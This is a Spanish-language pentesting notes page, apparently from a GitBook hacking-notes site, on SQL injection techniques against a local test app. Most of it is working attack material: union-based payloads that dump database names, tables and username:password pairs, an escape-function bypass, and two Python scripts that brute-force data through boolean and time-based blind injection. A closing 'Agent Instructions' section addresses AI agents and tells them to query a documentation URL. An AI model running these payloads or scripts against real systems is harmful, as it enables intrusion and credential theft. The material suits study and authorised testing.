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# Técnicas de SQLi
## Inyección SQL basada en errores
> La inyección SQL basada en errores explota los errores en el código SQL para obtener información. Por ejemplo, si una consulta devuelve un error con un mensaje específico, este mensaje puede utilizarse para obtener información sobre el sistema.
* El archivo PHP de un sitio web vulnerable a la inyección SQL basada en errores tendrá una estructura similar:
```php
```
Verificación de la vulnerabilidad realizando una **sleep** en la URL:
```bash
http://localhost/searchUsers.php?id=3' and sleep(5)-- -
```
Para determinar el número de columnas, usa **order by** hasta que ya no obtengas errores idénticos:
```bash
http://localhost/searchUsers.php?id=3' order by 4-- -
```
Una vez conocido el número de columnas, usa **union select** para verificar la vulnerabilidad:
```bash
http://localhost/searchUsers.php?id=3' union select 1-- -
```
Si el paso anterior responde con el ID, usa un ID que no exista y **union select** para obtener el nombre de la base de datos que se está utilizando actualmente:
```bash
http://localhost/searchUsers.php?id=19928282' union select database()-- -
```
Para listar todas las bases de datos existentes:
```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(schema_name) from information_schema.schemata -- -
```
Una vez que conozcas los nombres de todas las bases de datos, usa el nombre (Jordan) para filtrar y ver la tabla:
```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(table_name) from information_schema.tables where table_schema='Jordan' -- -
```
De forma similar, con la tabla "users", puedes ver las columnas:
```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(column_name) from information_schema.columns where table_schema='Jordan' and table_name='users' -- -
```
Para listar las columnas (usuario y contraseña):
```sql
http://localhost/searchUsers.php?id=19928282' union select group_concat(username) from Jordan.users -- -
http://localhost/searchUsers.php?id=19928282' union select group_concat(password) from Jordan.users -- -
```
Para ver el conjunto completo:
```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(username,':',password) from Jordan.users -- -
```
## SQL con saneamiento "mysqli/\_real/\_escape/\_string"
En muchos casos, el código PHP realiza un pequeño saneamiento con **mysqli/\_real/\_escape/\_string**. Sin embargo, esto puede eludirse si las comillas están mal colocadas en el ID.
```php
```
En este caso, puedes realizar la misma operación sin necesidad de comillas simples:
```bash
http://localhost/searchUsers.php?id=9983 union select database()
```
## Inyección SQL basada en booleanos o en tiempo:
> La inyección SQL basada en tiempo utiliza una consulta que tarda mucho en ejecutarse para obtener información. Por ejemplo, si una consulta realiza una búsqueda en una tabla y se añade un retraso a la petición, este retraso puede utilizarse para obtener información adicional.
***
> La inyección SQL basada en booleanos utiliza peticiones con expresiones booleanas para obtener información adicional. Por ejemplo, una consulta con una expresión booleana puede utilizarse para determinar si un usuario existe en una base de datos.
***
Hay muchos casos en los que un sitio web redirige a una página **404 No encontrado** si el ID indica que no existe. Aquí hay un ejemplo de código con la función **http/\_response/\_code**:
```php
```
Ejemplo visual del código de estado **404 No encontrado** y **200 OK** por **curl** si una consulta es incorrecta o correcta:
```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9"
```
Así, para un ataque ciego, se pueden usar dos técnicas: las condiciones o el tiempo.
### Inyección SQL basada en booleanos
Envía una consulta probando con un ID que no exista **o si 1 = 1**:
```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=100000 or 1=1"
```
Con el siguiente script de Python, puedes aprovechar esta falla de seguridad para acceder a la base de datos. En este ejemplo, el script recupera los nombres de usuario y las contraseñas (el archivo debe modificarse según la URL, los nombres de las tablas, columnas, bases de datos, etc., como se mostró anteriormente modificando la variable **sqli/\_url**).
```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] Saliendo... /n")
sys.exit(1)
# Técnicas de SQLi
signal.signal(signal.SIGINT, def_handler)
# Técnicas de SQLi
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
p1 = log.progress("Fuerza bruta")
p1.status("Inicio del proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ""
for position in range(1, 150):
for character in range(33, 126):
sqli_url = main_url + "?id=1000000 or (select(select ascii(substring((select group_concat(username,0x3a, password) from users),%d,1)) from users where id = 1)=%d)" % (position, character)
p1.status(sqli_url)
r = requests.get(sqli_url)
if r.status_code == 200:
extracted_info += chr(character)
p2.status(extracted_info)
break
if __name__ == '__main__':
makeSQLI()
```
### Inyección SQL basada en tiempo
Envía una consulta probando con un ID que no exista o **sleep (0.35)**:
```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=1000000 or sleep(0.35)"
```
Con el siguiente script de Python, puedes aprovechar esta falla de seguridad para acceder a la base de datos. En este ejemplo, el script enumera el nombre de la base de datos (el archivo debe modificarse según la URL, los nombres de las tablas, columnas, bases de datos, etc., como se mostró anteriormente modificando la variable **sqli/\_url**).
```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] Saliendo... /n")
sys.exit(1)
# Técnicas de SQLi
signal.signal(signal.SIGINT, def_handler)
# Técnicas de SQLi
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
p1 = log.progress("Fuerza bruta")
p1.status("Inicio del proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ""
for position in range(1, 150):
for character in range(33, 126):
sqli_url = main_url + "?id=1000000 or if(ascii(substr(database(),%d,1))=%d,sleep(0.35),1)" % (position, character)
p1.status(sqli_url)
time_start = time.time()
r = requests.get(sqli_url)
time_end = time.time()
if time_end - time_start > 0.35:
extracted_info += chr(character)
p2.status(extracted_info)
break
if __name__ == '__main__':
makeSQLI()
```
---
# Agent Instructions
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## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
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```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-techniques-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.